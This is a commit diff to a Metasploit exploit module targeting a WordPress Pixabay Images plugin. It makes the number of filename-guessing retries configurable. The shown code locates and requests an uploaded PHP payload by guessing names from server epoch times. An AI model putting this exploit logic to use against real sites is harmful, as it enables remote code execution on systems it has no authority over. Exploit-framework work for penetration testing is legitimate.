make retries a datastore option

modules/exploits/unix/webapp/php_wordpress_pixabay_images.rb

@@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
       register_options(
         [
+        OptInt.new('RETRIES', [ false, 'Number of guesses if initial name guess fails', 5]),
           OptString.new('DOWNURI', [ false,  "An alternative URI to request the PHP payload from"]),
         ], self.class)
 
@@ -109,8 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     if (res and res.code != 200) then
         print_status("Request failed, trying additional epoch values...")
-        server_epoch_time -= 5
-        10.times do |i|
+        datastore['RETRIES'].times do |i|
             res = call_payload(random_file_name, server_epoch_time)
             break if res and res.code == 200
             server_epoch_time += 1